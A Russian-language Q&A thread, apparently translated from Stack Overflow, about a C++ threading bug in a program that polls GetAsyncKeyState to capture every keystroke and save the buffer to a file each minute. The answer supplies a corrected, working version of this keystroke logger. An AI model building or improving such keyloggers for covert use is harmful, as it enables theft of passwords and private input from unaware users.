Поток запускается только один раз, но он находится в бесконечном цикле - PullRequest
0 голосов
/ 28 апреля 2019

Так что я пытаюсь получить все клавиши и раз в минуту сохранять все это в файле.поэтому я получил цикл while, чтобы получить KEYSTROKES, и все идет очень хорошо в первый раз, но после него поток не подходит к функции.ничего не падает, но результат не принимается.

string content = ""; // global
while (true)
{
   std::thread t(WriteKeyStrokesToFile);
   for (keyStroke = 8; keyStroke < 190; keyStroke++)
   {
       if (GetAsyncKeyState(keyStroke) & 0x0001)
       {
           if (KeyIsSpecial(keyStroke) == false)
           {
                content += keyStroke;
                cout << keyStroke;
           }
       }
   }
   t.detach();
}
void WriteKeyStrokesToFile()
  {
   std::this_thread::sleep_for(std::chrono::seconds(60));
   //open file and upload content to file
   content = ""; //empty the content
  }

1 Ответ

2 голосов
/ 28 апреля 2019

функция WriteKeyStrokesToFile вызывается только один раз

Как и должно быть.Поток выполняет свою функцию только один раз.Когда функция завершается, все, поток завершен.Вы не можете перезапустить поток, все, что вы можете сделать, это создать новый поток.

почему поток работает только 1 раз, хотя он находится в бесконечном цикле while.

Потому что у вас вообще нет цикла внутри потока.У вас есть цикл в коде, который запускается вне потока и передает данные в поток.

Чтобы делать то, что вы хотите, просто добавьте цикл в вашу функцию WriteKeyStrokesToFile(), чтобы она продолжала работать.И не создавайте новый поток на каждой итерации цикла, который выполняется вне потока.

std::string content = ""; // global
std::mutex content_mutex;

void WriteKeyStrokesToFile()
{
    while (true) {
        std::this_thread::sleep_for(std::chrono::seconds(60));
        std::lock_guard<std::mutex> g(content_mutex);
        //open file and upload content to file
        content = ""; //empty the content
    }
}

void AddKeyStroke(char keyStroke)
{
    std::lock_guard<std::mutex> g(content_mutex);
    content += keyStroke;
}

int main()
{
    std::thread t(WriteKeyStrokesToFile);

    while (true) {
        for (keyStroke = 8; keyStroke < 190; keyStroke++) {
            if (GetAsyncKeyState(keyStroke) & 0x0001) {
                if (KeyIsSpecial(keyStroke) == false) {
                    AddKeyStroke(keyStroke);
                    std::cout << keyStroke;
                }
            }
        }
    }

    t.join();
    return 0;
}
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...